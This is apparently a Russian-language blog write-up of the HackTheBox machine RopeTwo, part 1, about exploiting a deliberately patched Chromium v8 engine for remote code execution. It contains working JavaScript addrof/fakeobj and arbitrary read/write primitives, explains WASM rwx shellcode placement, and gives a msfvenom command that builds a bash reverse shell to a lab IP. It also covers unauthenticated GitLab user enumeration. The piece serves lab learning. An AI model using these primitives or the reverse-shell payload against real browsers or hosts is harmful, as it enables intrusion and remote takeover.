Pull to refresh

HackTheBox. Прохождение RopeTwo, часть 1. Chromium v8

Level of difficultyHard
Reading time7 min
Views3.4K

Пора выложить первый райтап для машинки с площадки HackTheBox.

В данной статье разберемся с написанием RCE для патченного JavaScript-движка v8, используемого сейчас почти повсеместно.

Отдельную благодарность хочется выразить Ex0dus и моей команде. Эти люди помогали по мере возможности, не давали опускать руки и просто поддерживали.

Дисклеймер

В текущий момент готовы две части - первая, которую вы читаете, и вторая, с получением прав юзера. К концу февраля, надеюсь, будет третья часть, с получением рут-прав на машине. Из-за сессии и нового года я не успел доделать эту машинку до конца. Хотя, пожалуй, могу назвать ее одной из лучших, с моей точки зрения.

OSINT

Быстрый скан nmap'ом дал три открытых порта

Понятно, что 22 порт нам мало интересен. Но вот на 5000 и 8000 интересно взглянуть.

На порту 5000 поднят GitLab, который встречает нас стандартным login-page'м.

На порту 8000 уже интереснее, есть некоторый сайтик разработчиков v8.

Начнем исследование!

Сайт разработчиков v8

На сайте есть 3 активные ссылки: на репозиторий, на архив с Chrome (с v8 от разработчиков) и форма для обратной связи. Первое желание - попробовать засунуть XSS в форму:

Видно, что идет обращение к серверу. Значит, идея верная. Теперь остается понять, как же выполнить нужный нам код на удаленном сервере.

GitLab

Вполне ожидаемо, на сервере есть единственный репозиторий с исходниками v8, принадлежащий некоему админу.

Попробуем нарыть чуть больше информации об этом человеке. Для этого воспользуемся древней уязвимостью API GitLab и запросим инфу о пользователях: если сходить по адресу %hostname%/api/v4/users/%user_id%, то можно получить информацию о любом пользователе. При этом, авторизация для этого действия не нужна.

После недолгого перебора становится ясно, что пользователь "по задумке" здесь только один - админ. Информации катастрофически мало, но можно получить e-mail. Дело в том, что GitLab хранит аватары пользователей на платформе gravatar, который в пути до изображения хранит md5 от e-mail'a пользователя в нижнем регистре. Брутим хэш e64c7d89f26bd1972efa854d13d7dd61 и получаем, что, к сожалению, e-mail нашего админа это admin@example.com. Значит, суть не в этом. Ну что же, скачаем репозиторий и начнем попытки проникнуть в систему.

Анализ кода

Для желающих я выложил патченный движок, хром и свои сплойты на свой GitHub. Все разложенно по папкам. К сожалению, репозиторий с v8 и сам Chrome оказались слишком большими и не влезли в ограничение GitHub на 100мб. Они лежат на Яндекс.Диске, прямая ссылка на репозиторий и Chrome.

После беглого просмотра репозитория становится ясно - это самый обычный v8 с маленьким патчем от автора машины. Но именно он и должен все менять. Попробуем разобраться, что же именно происходит

Были добавлены две функции ArrayGetLastElement и ArraySetLastElement. Первая функция не требует аргументов и возвращает элемент массива по заданному сдвигу (array[len]). Вторая требует два аргумента - сам массив и элемент, который будет записан в него по заданному сдвигу (array[len]). Это напомнило мне задачу со *CTF 2019, oob-v8. Решил наконец-то почитать райтап, потому что в тот момент я был уверен, что с JavaScript я дел никогда иметь не буду и после конца CTF'a даже не стал смотреть решение. Но судьба распорядилась по-своему :D

Немного про устройство движка и его взаимодействие с Chrome

Я немного погуглил про v8 и наткнулся на две интересные статьи. Первая про сжатие указателей в куче v8. Это очень крутое решение для экономии памяти - вместо того, чтобы хранить 64-битный указатель в куче большинство указателей будут обрабатываться как 32-битные (младшие 32 бита), в то время как старшие 32 бита, называемые изолированным корнем, будут лежать в регистре r13 (чуть позже наткнулся на похожую статью на эту же тему). Вторая про эксплуатацию уязвимостей в JIT-движках JavaScript.

В куче v8 есть три основных типа: smi, double и regular. Каждый тип является "надстройкой" над предыдущим. Таким образом, smi может быть представлен как double, double может быть представлен как regular. Вообще говоря, можно воспринимать regular как указатели, это будет не очень далек от правды (тут, пожалуйста, поправьте, если не прав). По размерам: smi - 32 бита, double - 64 бита, указатели сжимаются до 32. Есть другие важные компоненты v8, которые можно посмотреть с помощью d8 и флага --allow-natives-syntax. У каждого объекта существует несколько важных частей, которые отвечают за его представление. Самая важная сущность - map, в котором хранится размер объекта, типы элементов и указатель на прототип. Как было сказано в статье про типы, каждый элемент имеет две формы - PACKED и HOLEY. Помимо этого, массивы имеют дополнительное поле length, представляемое в виде smi.

Еще один немаловажный момент, на который я наткнулся - по умолчанию Chrome старается использовать свой собственный аллокатор PartitionAlloc, вместо аллокатора glibc, который используется в d8.

Живое взаимодействие

Теория это хорошо, но без практики она ни на что не годна. Но есть проблема - у нас нет даже релиз-версии d8, а ковырять все это сразу в Chrome будет, как минимум, больно. Поэтому я собрал себе тестовый стенд на базе Ubuntu 18.04 и на нем собрал себе d8. Репозиторий неполный, поэтому, по мере сборки, приходилось постоянно искать/дописывать себе нужные куски зависимостей. Это тот момент, когда я порадовался, что решил собирать все в докере, а не на хосте.

Спустя несколько часов страданий ковыряния в зависимостях я наконец-то увидел долгожданное приглашение

Как можно увидеть на скриншотах, элементы double-массива находятся над объектом, кусок map'a которого видно. Выглядит как возможность использовать type confusion.

Немного об использовании type confusion

Прежде чем продолжить, пару слов об особенностях эксплуатации браузерных уязвимостей. Сущесвует два типа примитивов: addrof и fakeobj. Первый используется для получения адреса объекта - с помощью type confusion мы заставляем выводить элементы double-массива как указатели, которыми они и являются. Второй для записи фантомного объекта в память - нам опять нужен double-массив, но в этот раз в его элементы будут писаться указатели. Используя эти два примитива можно выполнять операции чтения и записи в произвольные участки памяти. Для чтения создается double-массив, первый элемент которого содержит map массива, а затем создается фантомный объект-массив над этим полем. Движок думает, что это массив и мы можем, итерируясь по "массиву", читать содержимое памяти. С помощью похожей концепции работает запись.
С помощью этих четырех примитив можно совершенно спокойно говорить об RCE, но не в общем случае. Как правило, Chrome работает в собственной песочнице, но в нашем случае она отключена.

Стандартный способ эксплуатации v8 - экземпляры WASM. При инициализации WebAssembly новая страница с правами rwx mmap'ится в память v8. Но так как данный экземпляр также является объектом, мы можем получить его адрес и прочитать его. В объекте, по смещению 0x68 хранится целый, а не сжатый указатель на страницу и, таким образом, мы получаем доступ к rwx-памяти, что уже прямой путь к шелл-коду.

Про v8 и rwx

Сейчас у многих, как и у меня, когда я впервые об этом узнал, в голове возник вопрос "А почему вообще v8 использует rwx? Не джуниоры же пишут, в конце концов!". Честно говоря, я не нашел ответа на этот вопрос. Если у кого-то есть идеи, почему это так, то отпишитесь в комментариях, пожалуйста.

Итак, у нас, фактически, есть адрес. Остается его достать и использовать. Но тут возникает проблема - как записать 64-битный указатель вне кучи v8, когда мы не можем управлять изолированным корнем (старшие 32 бита)? Но, внезапно, нам помогли сами разработчики v8. Для увеличения производительности ArrayBuffer начал пользоваться собственным аллокатором и хранить полные 64 бита указателя.

Таким образом, мы можем с помощью DataView, инициализированного через ArrayBuffer писать и читать в нужный нам адрес. Также можно получить адрес libc, хотя через d8 это делать легче из-за glibc-аллокатора, а не PartitionAlloc самого Chrome.

Пишем сплойт

В нашем патче builtin-массивы принудительно приводятся к 64-битным FixedDoubleArray весьма интересным способом. Если мы работаем с массивом объектов, то эта механика будет группировать два указателя как одно значение типа double и оно будет воспринято как массив double'ов.

К примеру, если мы создаем массив размером 2, то преобразование в FixedDoubleArray размера 2 превратит его в нечто, эквивалентное массиву объектов размером 4. То есть, если наш массив имеет размер n, то OOB будет обращаться к элементу n+1 через FixedDoubleArray, который превратит это в 2n+1. Пусть это и не позволит нам напрямую использовать type confusion, но если немного покопаться, то можно дойти и до него.

Для addrof мы создаем массив размером 2, после чего изменяем его длину на 1, но, из-за приведения его реальная длина по-прежнему будет 2. После чего, если мы положим map другого массива в конец с помощью OOB-записи, то map исходного массива будет изменен, что позволит проходить по элементам второго массива, итерируясь по первому. Но если вернуть изначальный map первого массива, то это приведет к утечке адреса объекта в куче, что и было изначальной целью. В случае с fakeobj используется похожий трюк, только уже для записи фантомного объекта.

Моя реализация addrof и fakeobj:

function addrof(in_obj) {
  obj_arr[0] = in_obj;
  obj_arr.SetLastElement(float_arr_map); // [1.1, 1.2, 1.3, 1.4].GetLastElement()
  let addr = obj_arr[0];
  obj_arr.SetLastElement(obj_arr_map); // [obj1, obj2].GetLastElement()
  return ftoi(addr, 32);
}


function fakeobj(addr) {
  float_arr[0] = itof(addr, 32);
  float_arr.SetLastElement(obj_arr_map);
  let fake = float_arr[0];
  float_arr.SetLastElement(float_arr_map);
  return fake;
}

Про чтение и запись в произвольные области мы уже говорили выше, в данном случае нам нужно внести лишь небольшие изменения. Во-первых, из-за сжатия указателей необходимо немного поменять адрес и размер обеькта. Во-вторых, нужно вычесть 0x8 из адреса, потому что при сжатии адрес и map объекта помещаются в один qword. В итоге, финальный код будет выглядеть примерно так:

function fakeobj(addr) {
  float_arr[0] = itof(addr, 32);
  float_arr.SetLastElement(obj_arr_map);
  let fake = float_arr[0];
  float_arr.SetLastElement(float_arr_map);
  return fake;
}


var rw_helper = [float_arr_map, 1.1, 2.2, 3.3];
var rw_helper_addr = addrof(rw_helper) & 0xffffffffn;


function arb_read(addr) {
  let fake = fakeobj(rw_helper_addr - 0x20n);
  rw_helper[1] = itof((0x8n << 32n) + addr - 0x8n, 64);
  return ftoi(fake[0], 64);
}


function arb_write(addr, value) {
  let fake = fakeobj(rw_helper_addr - 0x20n);
  rw_helper[1] = itof((0x8n << 32n) + addr - 0x8n, 64);
  fake[0] = itof(value, 64);
}

Таким образом, основные рабочие части сплойта написаны. Остается лишь объединить все и добавить шелл-код. Лично я сгенерировал его с помощью msfvenom:

Spoiler
msfvenom -p linux/x64/exec -f num CMD='bash -c "bash -i >& /dev/tcp/10.10.14.6/1337 0>&1"'

Финальный код сплойта лежит на гитхабе. Замечния/советы все так же приветствуются.
После его запуска через форму обратной связи и ловли соединения в netcat мы можем, наконец-то, увидеть то, ради чего все затевалось:

После чего положить ssh-ключ и организовать себе нормальный шелл уже не составляет проблем.

Вместо заключения

Сверху огромное количество информации, которое я нарыл примерно за два месяца. Если быть совсем точным, первый раз я сел ковырять эту машину 9 сентября. Получил веб-шелл я только 3 ноября. Поэтому объем реально огромный и если вы что-то не поняли - ничего страшного.

Просто советую вернуться к этому материалу спустя некоторое время, когда понятные части будут разложены по полочкам. Если есть какие-то замечания/неточности/и т. д. - просьба не стесняться писать об этом в комментариях или напрямую мне в лс. Буду исправлять. Всем добра и рабочих сплойтов.

P. S. Вторую часть цикла рассчитываю выложить примерно через неделю-полторы, как только причешу сплойт и более-менее сформулирую основные идеи.

Tags:
Hubs:
+11
Comments1

Articles